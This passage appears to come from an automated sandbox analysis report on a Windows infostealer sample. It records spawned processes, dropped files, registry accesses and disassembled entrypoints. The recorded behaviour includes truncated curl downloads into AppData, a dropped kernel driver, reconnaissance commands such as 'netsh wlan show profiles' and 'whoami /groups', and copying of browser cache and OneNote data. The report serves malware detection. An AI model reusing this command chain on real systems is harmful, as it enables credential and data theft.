"%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "netsh.exe" loaded module "%WINDIR%\System32\bcryptprimitives.dll" at 32D50000 "netsh.exe" loaded module "%WINDIR%\System32\bcrypt.dll" at 319800004b:T41c,"file.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "file.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "file.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "file.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "file.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "tasklist.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "tasklist.exe" touched "WbemStatusCode" (Path: "HKCU\CLSID\{EB87E1BD-3233-11D2-AEC9-00C04FB68820}\TREATAS")4c:T9e3,"file" file has an entrypoint instructions - "push rbp,sub rsp, 0x20,lea rbp, [rsp + 0x20],mov rax, qword ptr [rip + 0x2191f],mov dword ptr [rax], 1,call 0x14000c8ad,nop ,nop ,nop ,add rsp, 0x20,pop rbp,ret ,push rbp,push r15,push r14,push r12,push rsi,push rdi,push rbx,sub rsp, 0x20,lea rbp, [rsp + 0x20],mov eax, 0x30,mov rax, qword ptr gs:[eax],mov rdi, qword ptr [rax + 8],mov rsi, qword ptr [rip + 0x2190b],xor eax, eax,lock cmpxchg qword ptr [rsi], rdi,sete bl,cmp rdi, rax,sete al,or al, bl,jne 0x14000c909," "uzbektajik.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x140102220,add rsp, 0x28,jmp 0x140101d84,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],sub rsp, 0x10,mov qword ptr [rsp], r10,mov qword ptr [rsp + 8], r11,xor r11, r11,lea r10, [rsp + 0x18],sub r10, rax,cmovb r10, r11,mov r11, qword ptr gs:[0x10],cmp r10, r11,jae 0x140101f70,and r10w, 0xf000," "helper.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14012f700,add rsp, 0x28,jmp 0x14012f048,int3 ,int3 ,sub rsp, 0x28,mov r8, qword ptr [r9 + 0x38],mov rcx, rdx,mov rdx, r9,call 0x14012f1f8,mov eax, 1,add rsp, 0x28,ret ,int3 ,int3 ,int3 ,mov r10, rcx,mov r11, rdx,mov ecx, dword ptr [r8],and ecx, 0xfffffff8,test byte ptr [r8], 4,je 0x14012f21f,mov eax, dword ptr [r8 + 8],movsxd r9, dword ptr [r8 + 4],neg eax,movsxd rdx, eax,add r9, r10,and r9, rdx,jmp 0x14012f222,mov r9, r10,movsxd rax, ecx," "lss.exe" file has an entrypoint instructions - "push rsi,mov rsi, rsp,and rsp, 0xfffffffffffffff0,sub rsp, 0x20,call 0x140001b81,mov rsp, rsi,pop rsi,ret ,mov qword ptr [rsp - 8], rsi,mov qword ptr [rsp - 0x10], rdi,mov qword ptr [rsp - 0x18], r12,xor r10, r10,mov rax, rcx,mov r10, rax,mov eax, ecx,mov r12, rdx,mov rcx, r8,mov r10, r9,mov rdx, qword ptr [rsp + 0x28],mov r8, qword ptr [rsp + 0x30],mov r9, qword ptr [rsp + 0x38],sub rcx, 4,jle 0x14000105b,lea rsi, [rsp + 0x40],lea rdi, [rsp + 0x28],rep movsq qword ptr [rdi], qword ptr [rsi],mov rcx, r12,mov rsi, qword ptr [rsp - 8]," "jep0nmpc32hk.sys" file has an entrypoint instructions - "push rbx,sub rsp, 0x60,mov rbx, rcx,mov qword ptr [rsp + 0x80], 0,lea rcx, [rsp + 0x40],lea rdx, [rip + 0xb7f],call qword ptr [rip + 0xa78],nop dword ptr [rax + rax],lea rdx, [rip + 0xb3c],lea rcx, [rsp + 0x50],call qword ptr [rip + 0xa60],nop dword ptr [rax + rax],lea rax, [rsp + 0x80],mov qword ptr [rip + 0x1a48], 0,mov qword ptr [rsp + 0x30], rax,lea r8, [rsp + 0x40],"4d:T4a7,Observed system executable string:"%WINDIR%\System32\curl.exe" [Source: 00000000-00006548-00000BC0-2952821496] Observed system executable string:"%WINDIR%\system32\ipconfig.exe" [Source: 00000000-00006976-00000C47-1482086702] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00006976-00000C47-1987002958] Observed system executable string:"%WINDIR%\system32\tasklist.exe" [Source: 00000000-00006976-00000C47-2030133634] Observed system executable string:"%WINDIR%\system32\whoami.exe" [Source: 00000000-00006976-00000C47-2048227584] Observed system executable string:"%WINDIR%\System32\ipconfig.exe" [Source: 00000000-00006976-00000BC0-2959213185] Observed system executable string:"%WINDIR%\System32\tasklist.exe" [Source: 00000000-00006976-00000BC0-2959432495] Observed system executable string:"%WINDIR%\System32\whoami.exe" [Source: 00000000-00006976-00000BC0-2959450132] Observed system executable string:"%WINDIR%\System32\netsh.exe" [Source: 00000000-00006552-00000BC0-2973632258] Observed system executable string:""%WINDIR%\system32\netsh.exe" wlan show profiles" [Source: 00000000-00006552-00000C47-28660093974]4e:T4de,"file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "file.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "tasklist.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "tasklist.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "tasklist.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "tasklist.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN")4f:Tf97,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00008084-00000C2E-2000484604] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00008084-00000C2B-2965042379] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00008084-00000C2B-2965186721] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00008084-00000C2B-2965410463] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00008084-00000C2B-2966278313] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00008084-00000C2B-2966470386] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00008084-00000C2B-2966530283] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00008084-00000C2B-2966664310] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00008084-00000C2B-2966973758] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00008084-00000C2B-2967190202] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00008084-00000C2B-2967365711] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00008084-00000C2B-2967550410] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00008084-00000C2B-2967862297] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00008084-00000C2B-2968316691] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00008084-00000C2B-2968485131] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00008084-00000C2B-2968902961] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00008084-00000C2B-2968934558] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00008084-00000C2B-2970275558] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00008084-00000C2B-2970291136] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00008084-00000C2B-2970302329] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00008084-00000C2B-2970322575] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00008084-00000C2B-2970383075] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00008084-00000C2B-2970516484] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00008084-00000C2B-2970776577] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00008084-00000C2B-2971079240]50:T5b0,Spawned process "curl.exe" with commandline "-s -L --connect-timeout 10 --max-time 120 --retry 1 -A Microsoft ..." (UID: 00000000-00004788) Spawned process "curl.exe" with commandline "-s -L --connect-timeout 10 --max-time 120 -o "%APPDATA%\\jy1gj29 ..." (UID: 00000000-00004988), Spawned process "uzbektajik.exe" (UID: 00000000-00006976), Spawned process "itsub.exe" (UID: 00000000-00003200), Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00004124), Spawned process "helper.exe" with commandline "-f all" (UID: 00000000-00006700), Spawned process "powershell.exe" with commandline ""powershell" -Command "Get-ItemProperty HKLM:\\Software\\Microso ..." (UID: 00000000-00008084) Spawned process "tasklist.exe" with commandline ""tasklist"" (UID: 00000000-00004512) Spawned process "whoami.exe" with commandline ""whoami" /groups" (UID: 00000000-00005040) Spawned process "powershell.exe" with commandline ""powershell" -Command "netsh wlan show profiles"" (UID: 00000000-00006552) Spawned process "lss.exe" (UID: 00000000-00006124) Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00002240) Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00007240) Spawned process "chrome.exe" (UID: 00000000-00004276) Spawned process "netsh.exe" with commandline "wlan show profiles" (UID: 00000000-00003480) Spawned process "msedge.exe" (UID: 00000000-00007388)51:T5b0,Spawned process "curl.exe" with commandline "-s -L --connect-timeout 10 --max-time 120 --retry 1 -A Microsoft ..." (UID: 00000000-00004788) Spawned process "curl.exe" with commandline "-s -L --connect-timeout 10 --max-time 120 -o "%APPDATA%\\jy1gj29 ..." (UID: 00000000-00004988), Spawned process "uzbektajik.exe" (UID: 00000000-00006976), Spawned process "itsub.exe" (UID: 00000000-00003200), Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00004124), Spawned process "helper.exe" with commandline "-f all" (UID: 00000000-00006700), Spawned process "powershell.exe" with commandline ""powershell" -Command "Get-ItemProperty HKLM:\\Software\\Microso ..." (UID: 00000000-00008084) Spawned process "tasklist.exe" with commandline ""tasklist"" (UID: 00000000-00004512) Spawned process "whoami.exe" with commandline ""whoami" /groups" (UID: 00000000-00005040) Spawned process "powershell.exe" with commandline ""powershell" -Command "netsh wlan show profiles"" (UID: 00000000-00006552) Spawned process "lss.exe" (UID: 00000000-00006124) Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00002240) Spawned process "ipconfig.exe" with commandline ""ipconfig" /all" (UID: 00000000-00007240) Spawned process "chrome.exe" (UID: 00000000-00004276) Spawned process "netsh.exe" with commandline "wlan show profiles" (UID: 00000000-00003480) Spawned process "msedge.exe" (UID: 00000000-00007388)52:T9ca,"file.exe" writes to a file "C:\Windows\Temp\jep0nmpc32hk.sys" "file.exe" writes to a file "%WINDIR%\Temp\jep0nmpc32hk.sys" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\octo-fingerprint.json" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxinj_1792193633892748900\helper.exe" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\activity-stream.tippytop.json" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\activity-stream.topstories.json" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\001DB8AE3A46F009910967724D0E7F33B99AA751" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\00659E1F8F558174C53F6752E1EE07AD1D1ADEAF" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\00CACAB4A2A08019AB723BBEA8A2918C4D611880" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\01B389B4B6499331C42AB8882DF16FC3A7ED7408" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0217E9CBD61685C0FB421A40803D21212CA9C884" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Environment\system_env.txt" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\021A9A79C17610AF76A2D0507B665C9675CEF494" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Browsers\installed_browsers.txt" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\02ABD00ED4A4FD6AE4F52DE4382F135A72A2131C" "uzbektajik.exe" writes to a file "C:\Users\%OSUSER%\AppData\Local\Temp\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0311672596129101B46B4E433A163DAFE1041BB6"53:T450,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "file") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003200.00000000.274104.53EAD000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00003480.00000000.275067.4F99B000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00004512.00000000.274160.C1C22000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00006548.00000001.273794.03DA7000.00000002.mdmp")54:Tdf70,"itsub.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 6 sections"- Location: [%APPDATA%\itsub.exe]- [targetUID: 00000000-00006548] "uzbektajik.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 5 sections"- Location: [%APPDATA%\uzbektajik.exe]- [targetUID: 00000000-00006548] "helper.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 5 sections"- Location: [%TEMP%\rxinj_1792193633892748900\helper.exe]- [targetUID: 00000000-00006976] "lss.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 4 sections"- Location: [%TEMP%\rxlss_1792194023545449700\lss.exe]- [targetUID: 00000000-00006976] "urlref_httpsmsdl.microsoft.comdownloadsymbolsntkrnlmp.pdb7C6B3934E36B4ED89EA9374957EDEAC41ntkrnlmp.pdb" has type "Unknown"- [targetUID: N/A] "OneNoteOfflineCache.onecache" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache.onecache]- [targetUID: 00000000-00006976] "12ECC98152BC850FA48B2E04A95E0E3165167423" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\12ECC98152BC850FA48B2E04A95E0E3165167423]- [targetUID: 00000000-00006976] "1BDEFFDE8487822A066F1A9E9E729D49B3EADB8F" has type "gzip compressed data from Unix original size modulo 2^32 112068608"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1BDEFFDE8487822A066F1A9E9E729D49B3EADB8F]- [targetUID: 00000000-00006976] "17AAF9B04DD376497FF680B47EA4EE60DB326B15" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2256144384"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\17AAF9B04DD376497FF680B47EA4EE60DB326B15]- [targetUID: 00000000-00006976] "044A925ADC491F971559A38B382FA7569E9E8137" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1489635072 gzip compressed data reserved method was "" has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1489635072"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\044A925ADC491F971559A38B382FA7569E9E8137]- [targetUID: 00000000-00006976] "1E80A978DD82CD9DC437F474151C4BD7B4BA5DD8" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1521353472 gzip compressed data reserved method has CRC was "" has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 1521353472"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1E80A978DD82CD9DC437F474151C4BD7B4BA5DD8]- [targetUID: 00000000-00006976] "1CA0257992E80478DD481DAFCB0F0BA4C042CBA5" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 4104585984 gzip compressed data reserved method extra field has comment encrypted from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 4104585984"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1CA0257992E80478DD481DAFCB0F0BA4C042CBA5]- [targetUID: 00000000-00006976] "0D417BF0D3F32D631EA2D266B62CF69BCCE4BF44" has type "gzip compressed data from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3529966336 gzip compressed data unknown method has CRC has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 3529966336"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\0D417BF0D3F32D631EA2D266B62CF69BCCE4BF44]- [targetUID: 00000000-00006976] "1C58BCC50FD90DA569C25964A2E2FCBF9F9461AA" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1C58BCC50FD90DA569C25964A2E2FCBF9F9461AA]- [targetUID: 00000000-00006976] "activity-stream.topstories.json" has type "JSON text data"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\activity-stream.topstories.json]- [targetUID: 00000000-00006976] "7dceec06-0991-43f4-8af3-601c0ebeb910.png" has type "PNG image data 707 x 561 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\7dceec06-0991-43f4-8af3-601c0ebeb910.png]- [targetUID: 00000000-00006976] "1B6C4252C6156FAF114A225D792A40F18B496B25" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 483328256 gzip compressed data reserved method extra field has comment from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 483328256"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\1B6C4252C6156FAF114A225D792A40F18B496B25]- [targetUID: 00000000-00006976] "244A5EFD3C08788F67B4EC2060929FC0C77B1675" has type "gzip compressed data max speed from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2914058496 gzip compressed data reserved method ASCII extra field encrypted from FAT filesystem (MS-DOS OS/2 NT) original size modulo 2^32 2914058496"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\244A5EFD3C08788F67B4EC2060929FC0C77B1675]- [targetUID: 00000000-00006976] "02ABD00ED4A4FD6AE4F52DE4382F135A72A2131C" has type "HTML document ASCII text with very long lines (65536) with no line terminators"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\02ABD00ED4A4FD6AE4F52DE4382F135A72A2131C]- [targetUID: 00000000-00006976] "4d583135-0540-4594-88f6-18029335c6db" has type "PNG image data 813 x 99 8-bit/color RGBA non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\4d583135-0540-4594-88f6-18029335c6db]- [targetUID: 00000000-00006976] "activity-stream.tippytop.json" has type "JSON text data"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\activity-stream.tippytop.json]- [targetUID: 00000000-00006976] "24bd032f-9799-4b6b-a717-83aaca91bbf7" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\24bd032f-9799-4b6b-a717-83aaca91bbf7]- [targetUID: 00000000-00006976] "0b5020d3-7b17-4f8e-8367-556132218efc" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\0b5020d3-7b17-4f8e-8367-556132218efc]- [targetUID: 00000000-00006976] "708e5f5e-7919-4259-8092-e1a41acc2305" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\708e5f5e-7919-4259-8092-e1a41acc2305]- [targetUID: 00000000-00006976] "2147f109-1c62-4e69-b80a-c2123d58b00c" has type "JPEG image data JFIF standard 1.02 resolution (DPI) density 72x72 segment length 16 Exif Standard: [TIFF image data big-endian direntries=7 orientation=upper-left xresolution=98 yresolution=106 resolutionunit=2 software=Adobe Photoshop CS Windows datetime=2004:03:12 11:11:38] progressive precision 8 577x757 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\2147f109-1c62-4e69-b80a-c2123d58b00c]- [targetUID: 00000000-00006976] "jep0nmpc32hk.sys" has type "PE32+ executable for MS Windows 5.02 (native) x86-64 7 sections"- Location: [%WINDIR%\Temp\jep0nmpc32hk.sys]- [targetUID: 00000000-00006548] "704246ff-2a5b-4ba0-a88e-4af01c8d0bb2" has type "JPEG image data JFIF standard 1.02 resolution (DPI) density 72x72 segment length 16 Exif Standard: [TIFF image data big-endian direntries=7 orientation=upper-left xresolution=98 yresolution=106 resolutionunit=2 software=Adobe Photoshop CS Windows datetime=2004:03:12 11:12:29] progressive precision 8 598x766 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\704246ff-2a5b-4ba0-a88e-4af01c8d0bb2]- [targetUID: 00000000-00006976] "19CE54A8F841A0A353A76ABC608F422E8EE25D86" has type "Unknown"- Location: [%TEMP%\rxclient_1792193633610221700\output\Firefox\ywzu7870.default\cache2\entries\19CE54A8F841A0A353A76ABC608F422E8EE25D86]- [targetUID: 00000000-00006976] "475651f1-b0b3-4cee-a1ad-7c686301e2cf" has type "JPEG image data JFIF standard 1.02 resolution (DPI) density 72x72 segment length 16 Exif Standard: [TIFF image data big-endian direntries=7 orientation=upper-left xresolution=98 yresolution=106 resolutionunit=2 software=Adobe Photoshop CS Windows datetime=2004:03:12 11:05:55] progressive precision 8 612x618 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\475651f1-b0b3-4cee-a1ad-7c686301e2cf]- [targetUID: 00000000-00006976] "6f62a19f-e332-4aae-9d39-f6f291597a90" has type "JPEG image data JFIF standard 1.02 aspect ratio density 100x100 segment length 16 baseline precision 8 612x792 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\6f62a19f-e332-4aae-9d39-f6f291597a90]- [targetUID: 00000000-00006976] "67a8d4d1-9cdf-4e7e-9cc6-e2522c42c112" has type "JPEG image data JFIF standard 1.02 resolution (DPI) density 72x72 segment length 16 Exif Standard: [TIFF image data big-endian direntries=7 orientation=upper-left xresolution=98 yresolution=106 resolutionunit=2 software=Adobe Photoshop CS Windows datetime=2004:03:12 11:09:29] progressive precision 8 609x675 components 3"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\67a8d4d1-9cdf-4e7e-9cc6-e2522c42c112]- [targetUID: 00000000-00006976] "589552e4-8cbd-4c4c-8273-c6b824bc0b71" has type "PNG image data 177 x 123 8-bit/color RGBA non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\589552e4-8cbd-4c4c-8273-c6b824bc0b71]- [targetUID: 00000000-00006976] "5318eba9-773d-4fec-9366-6e84f8dfbbc5.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\5318eba9-773d-4fec-9366-6e84f8dfbbc5.png]- [targetUID: 00000000-00006976] "52c39d7c-6d6b-4ad3-b5e5-c417949d335d.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\52c39d7c-6d6b-4ad3-b5e5-c417949d335d.png]- [targetUID: 00000000-00006976] "70c3a864-35fa-4245-802a-dbda1e3f4c00.png" has type "PNG image data 449 x 320 8-bit/color RGB non-interlaced"- Location: [%TEMP%\rxclient_1792193633610221700\output\Notes\OneNote\14.0\OneNoteOfflineCache_Files\70c3a864-35fa-4245-802a-dbda1e3f4c00.png]- [targetUID: 00000000-00006976] "33677f2e-1ba5-4f80-975f-af0626e0b56d" has type 